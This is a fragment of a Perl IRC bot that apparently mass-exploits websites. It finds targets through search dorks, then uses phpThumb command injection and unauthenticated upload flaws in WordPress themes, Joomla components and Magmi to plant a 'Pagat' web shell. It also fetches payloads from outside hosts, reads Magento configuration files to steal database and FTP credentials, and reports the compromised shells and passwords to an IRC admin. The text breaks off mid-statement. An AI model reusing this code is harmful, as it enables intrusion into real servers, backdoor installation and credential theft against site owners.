LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."wp-content/themes/smallfolio/phpThumb_1.7.9/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."wp-content/themes/smallfolio/phpThumb_1.7.9/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."wp-content/themes/smallfolio/phpThumb_1.7.9/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."wp-content/themes/smallfolio/phpThumb_1.7.9/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { my $nick = $simpan; &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=joomleague"; &get_content($sender); &msg("$admin","$joomleaguelogologo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$joomleaguelogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$joomleaguelogo $engine 12sHeLL send to 14<12=14>12$nick Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub thegalau_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$thegalaulogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$thegalaulogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."components/com_facileforms/libraries/jquery/uploadify.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($bx, ['Filedata' => ['pagat.php']],'folder' => '/components/com_facileforms/libraries/jquery/','Content-Type' => 'form-data'); if ($exploit->decoded_content =~ /No upload found/) { my $check = $ua->get("http://".$site."components/com_facileforms/libraries/jquery/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."components/com_facileforms/libraries/jquery/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$thegalaulogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$thegalaulogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$thegalaulogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$thegalaulogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$thegalaulogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub pricerr_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$pricerrlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$pricerrlogo4$engine 9Finished 3for 9$dork "); } my $koc = "http://".$site."wp-content/themes/PricerrTheme/lib/uploadify/uploadify-cancel.png"; my $cex2 = &get_content($koc); if ($cex2 =~ /�PNG/i) { &msg("$chan","$pricerrlogo5$engine 9e3x9p3l9o3i9t3i9n3g 4http://$site"); &way2($site,$chan,$nick,$engine); } } } } sub way2() { my ($site,$chan,$nick,$engine) = @_; $tesx = "http://".$site; $conx = &get_content($tesx);sleep(7); if ($conx =~ /\/wp-content\/themes\/PricerrTheme\//i){ my $hax = "http://".$site."/wp-content/themes/PricerrTheme/"; my $itx = &get_content("http://ci-journal.net/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/o.php?cmd=python%20themes.py%20-t%20$hax%20-s%20pagat.php%20-p%20/");sleep(1); if ($itx =~ /Shell uploaded successfully/i) { &msg("$chan","$pricerrlogo5$engine 9f3o9u3n9d 4http://$site "); my $taget = "http://".$site."pagat.php"; my $che1 = &get_content($taget); if ($che1 =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($che1 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($che1 =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($che1 =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$pricerrlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$pricerrlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$taget."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$pricerrlogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$pricerrlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$taget."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$pricerrlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$taget."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub vir_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$virlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$virlogo4$engine 9Finished 3for 9$dork "); } my $koc = "http://".$site."/xmlrpc.php"; my $cex2 = &get_content($koc); if ($cex2 =~ m/XML-RPC server accepts POST requests only/g) { &msg("$chan","$virlogo5$engine 9e3x9p3l9o3i9t3i9n3g 4http://$site"); &way44($site,$chan,$nick,$engine); } } } } sub way44() { my ($site,$chan,$nick,$engine) = @_; $tesx = "http://".$site; $conx = &get_content($tesx);sleep(7); if ($conx =~ /\/wp-content\/plugins\/wpdatatables\//i){ my $hax = "http://".$site; my $itx = &get_content("http://hidroponika.lt/includes/domit/js/o.php?cmd=python%20sempak.py%20-t%20$hax%20-s%20pagat.php%20-p%20/");sleep(1); if ($itx =~ /Shell uploaded successfully/i) { &msg("$chan","$virlogo5$engine 9f3o9u3n9d 4http://$site "); my $taget = "http://".$site."pagat.php"; my $che1 = &get_content($taget); if ($che1 =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($che1 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($che1 =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($che1 =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$virlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$virlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$taget."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$virlogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$virlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$taget."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$virlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$taget."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub project_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$projectlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$projectlogo4$engine 9Finished 3for 9$dork "); } my $uyau = "http://".$site."wp-content/themes/dazzling/lib/uploadify/uploadify-cancel.png"; my $cek = &get_content($uyau); if ($cek =~ /�PNG/i) { &msg("$chan","$projectlogo5$engine 9e3x9p3l9o3i9t3i9n3g 4http://$site"); &may2($site,$chan,$nick,$engine); } } } } sub may2() { my ($site,$chan,$nick,$engine) = @_; $test = "http://".$site; $control = &get_content($test);sleep(7); if ($control =~ /\/wp-content\/themes\/dazzling\//i){ my $hatzim = "http://".$site."/wp-content/themes/dazzling/"; my $depa = &get_content("http://hidroponika.lt/includes/domit/o.php?cmd=python%20themes.py%20-t%20$hax%20-s%20pagat.php%20-p%20/");sleep(1); if ($depa =~ /Shell uploaded successfully/i) { &msg("$chan","$projectlogo5$engine 9f3o9u3n9d 4http://$site "); my $masa = "http://".$site."pagat.php"; my $check = &get_content($masa); if ($check =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$projectlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$projectlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$masa."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$projectlogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$projectlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$masa."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$projectlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$masa."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub ghost_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$ghostlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$ghostlogo4$engine 12Finished 3for 12$dork "); } my $liat = "http://".$site."/xmlrpc.php"; my $cek = &get_content($liat); if ($cek =~ m/XML-RPC server accepts POST requests only/g) { &sx2($site,$chan,$nick,$engine); } } } } sub sx2() { my ($site,$chan,$nick,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/themes\/(.*?)\//i) { $theme = $1; } my $kirim = "http://".$site."wp-content/themes/Ghost/includes/uploadify/upload_settings_image.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($kirim, ['Filedata' => ['pagat.php']],'Content-Type' => 'form-data'); my $check = $ua->get("http://".$site."wp-content/uploads/settingsimages/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."wp-content/uploads/settingsimages/pagat.php"; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$ghostlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$ghostlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$ghostlogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$ghostlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$ghostlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } sub auto_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$autologo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$autologo4$engine 9Finished 3for 9$dork "); } my $liat = "http://".$site."/xmlrpc.php"; my $cek = &get_content($liat); if ($cek =~ m/XML-RPC server accepts POST requests only/g) { &sx41($site,$chan,$engine); } } } } sub sx41() { my ($site,$chan,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/themes\/(.*?)\//i) { $theme = $1; } foreach my $bugz(@bugsx) { chomp($bugz); my $explo = "http://".$site."wp-content/themes/".$theme.$bugz; my $cobax = get_content($explo);sleep(1); if ($cobax =~ /no image specified/i) { &sx42($explo,$chan,$site,$engine); } } } sub sx42() { my ($explo,$chan,$site,$engine) = @_; my $cube = $explo."?src=".$thumbshell; my $bbx = "wp-content/themes/".$temane.$bugz; my @nbug = split(/\//,$bbx); my $wkwk = get_content($cube);sleep(1); if ($wkwk =~ /Unable to open image(.*?)$nbug[0](.*?)$md6php/i) { &msg("$chan","$autologo5$engine 9e3x9p3l9o3i9t3i9n3g 4http://$site "); my $pdir = $2; my $target = "http://".$site.$nbug[0].$pdir.$md6php; my $logz = $results."?shell=".$target; my $check = &get_content($target); &get_content($logz);sleep(1); if ($check =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$autologologo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$autologologo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$target."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$autologologo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$autologologo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$target."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$autologologo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$target."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } sub rightnow_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$rightnowlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$rightnowlogo4$engine 12Finished 3for 12$dork "); } my $liat = "http://".$site."/xmlrpc.php"; my $cek = &get_content($liat); if ($cek =~ m/XML-RPC server accepts POST requests only/g) { &sx3($site,$chan,$nick,$engine); } } } } sub sx3() { my ($site,$chan,$nick,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/themes\/(.*?)\//i) { $theme = $1; } my $kirim = "http://".$site."wp-content/themes/betheme/muffin-options/fields/upload/field_upload.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($kirim, ['files' => ['pagat.php']],'Content-Type' => 'form-data'); my $check = $ua->get("http://".$site."wp-content/themes/betheme/muffin-options/fields/upload/Files/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."wp-content/themes/betheme/muffin-options/fields/upload/Files/pagat.php"; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$rightnowlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$rightnowlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$rightnowlogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$rightnowlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$rightnowlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } sub magento_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$magentologo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$magentologo4$engine 9Finished 3for 9$dork "); } my $test = "http://".$site."/app/etc/local.xml"; my $file = &get_content($test); my $file = &get_content($test); if ($file =~ /dbname/i) { my $serverIP =""; if ($file =~ /<\/host>/) {$serverIP=$1;} if ($file =~ /<\/username>/){$user=$1;} if ($file =~ /<\/password>/){$pass=$1;} if ($file =~ /<\/dbname>/){$dbname=$1;} &msg("$chan","$magentologo15$engine 3Database[+] 14http://".$site." [+]hostname:".$serverIP." [+]username:".$user." [+]password:".$pass." [+]dbname:".$dbname.""); if ($user =~ /_/) {@users = split("_", $user); $usr = $users[0];} my $ceklog = "ftp://".$usr.":".$pass."@".$site.""; my $ceklog2 = "ftp://".$user.":".$pass."@".$site.""; my $ftplog = &get_content($ceklog); my $ftplog2 = &get_content($ceklog2); if ($ftplog =~ /ftp/) { &msg("$admin","12[+]$magentologo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass.""); &msg("$chan","12[+]$magentologo4$engine 12FTP[+]Success send To Admin"); } if ($ftplog2 =~ /ftp/) { &msg("$admin","12[+]$magentologo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$user." [+]password:".$pass.""); &msg("$chan","12[+]$magentologo4$engine 12FTP[+]Success send To Admin"); } my $hosts = "http://".$site; if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $host = $2; &dbi_connect($host,$user,$pass,$dbname,$chan,$engine,$magentologo);sleep(1); &msg("$chan","!ftp ".$host." ".$user." ".$pass.""); if ($dbname =~ /_/) {@users = split("_",$dbname); $dbuser = $users[0]; } &ftp_connect($url,$host,$dbuser,$pass,$chan,$engine,$magentologo);sleep(1); &msg("$chan","!ftp ".$host." ".$dbuser." ".$pass.""); } } } } } sub magmi_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$magmilogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$magmilogo4$engine 12Finished 3for 12$dork "); } my $liat = "http://".$site."magmi/web/magmi.php"; my $cek = &get_content($liat); if ($cek =~ /MAGMI/ || $html =~ m/

Upload New Plugins<\/h3>/ || $html =~ m/MAGMI (MAGento Mass Importer) by Dweeves - version 0.7.18<\/title>/i ) { &sx4($site,$chan,$engine); } } } } sub sx4() { my ($site,$chan,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/magmi\/plugins\/(.*?)\//i) { $theme = $1; } my $kirim = "http://".$site."magmi/web/magmi.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($kirim, Content_Type => "multipart/form-data", Content => [action => "$kirim", plugin_package => ["pagat.zip"]]); my $check = $ua->get("http://".$site."magmi/plugins/pagat/pagat.php")->content; if($check =~/<br>/) { my $test = "http://".$site."magmi/plugins/pagat/pagat.php"; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$magmilogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$magmilogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$magmilogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$magmilogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$magmilogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } sub headway_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$headwaylogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$headwaylogo4$engine 12Finished 3for 12$dork "); } my $liat = "http://".$site."xmlrpc.php"; my $cek = &get_content($liat); if ($cek =~ m/XML-RPC server accepts POST requests only/g) { &sx5($site,$chan,$nick,$engine); } } } } sub sx5() { my ($site,$chan,$nick,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/themes\/(.*?)\//i) { $theme = $1; } my $kirim = "http://".$site."wp-content/themes/".$theme."/library/visual-editor/lib/upload-header.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($kirim, ['Filedata' => ['pagat.php']],'Content-Type' => 'form-data'); my $check = $ua->get("http://".$site."wp-content/uploads/headway/header-uploads/pagat.php")->content; if($check =~/<br>/) { my $test = "http://".$site."wp-content/uploads/headway/header-uploads/pagat.php"; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$headwaylogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$headwaylogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$headwaylogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$headwaylogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$headwaylogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } sub orange_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$orangelogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$orangelogo4$engine 12Finished 3for 12$dork "); } my $liat = "http://".$site."xmlrpc.php"; my $cek = &get_content($liat); if ($cek =~ m/XML-RPC server accepts POST requests only/g) { &sx6($site,$chan,$nick,$engine); } } } } sub sx6() { my ($site,$chan,$nick,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/themes\/(.*?)\//i) { $theme = $1; } my $kirim = "http://".$site."wp-content/themes/".$theme."/functions/upload-handler.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($kirim, ['orange_themes' => ['pagat.php']],'Content-Type' => 'form-data'); my $check = $ua->get("http://".$site."wp-content/uploads/2018/04/pagat.php")->content; if($check =~/<br>/) { my $test = "http://".$site."wp-content/uploads/2018/04/pagat.php"; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$orangelogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$orangelogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$orangelogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$orangelogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$orangelogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } sub coldFusion1_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$coldFusion1logo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$coldFusion1logo4$engine 12Finished 3for 12$dork "); } my $liat = "http://".$site."xmlrpc.php"; my $cek = &get_content($liat); if ($cek =~ m/XML-RPC server accepts POST requests only/g) { &sx634($site,$chan,$nick,$engine); } } } } sub sx634() { my ($site,$chan,$nick,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/themes\/(.*?)\//i) { $theme = $1; } my $kirim = "http://".$site."wp-content/themes/".$theme."/upload/upload.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($kirim, ['qqfile' => ['pagat.php']],'Content-Type' => 'form-data'); my $check = $ua->get("http://".$site."wp-content/uploads/products_img/pagat.php")->content; if($check =~/<br>/) { my $test = "http://".$site."wp-content/uploads/products_img/pagat.php"; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$coldFusion1logo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$coldFusion1logo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$coldFusion1logo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$coldFusion1logo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$coldFusion1logo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } sub charcoal_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$charcoallogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$charcoallogo4$engine 12Finished 3for 12$dork "); } my $liat = "http://".$site."xmlrpc.php"; my $cek = &get_content($liat); if ($cek =~ m/XML-RPC server accepts POST requests only/g) { &sx1212($site,$chan,$nick,$engine); } } } } sub sx1212() { my ($site,$chan,$nick,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/themes\/(.*?)\//i) { $theme = $1; } my $kirim = "http://".$site."wp-content/themes/u-design/scripts/admin/uploadify/uploadify.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($kirim, ['Filedata' => ['pagat.php']],'folder'=>'/wp-content/themes/u-design/scripts/admin/uploadify/','Content-Type' => 'form-data'); my $check = $ua->get("http://".$site."wp-content/themes/u-design/scripts/admin/uploadify/pagat.php")->content; if($check =~/<br>/) { my $test = "http://".$site."wp-content/themes/u-design/scripts/admin/uploadify/pagat.php"; my $cekap = &get_content($test); if ($cekap 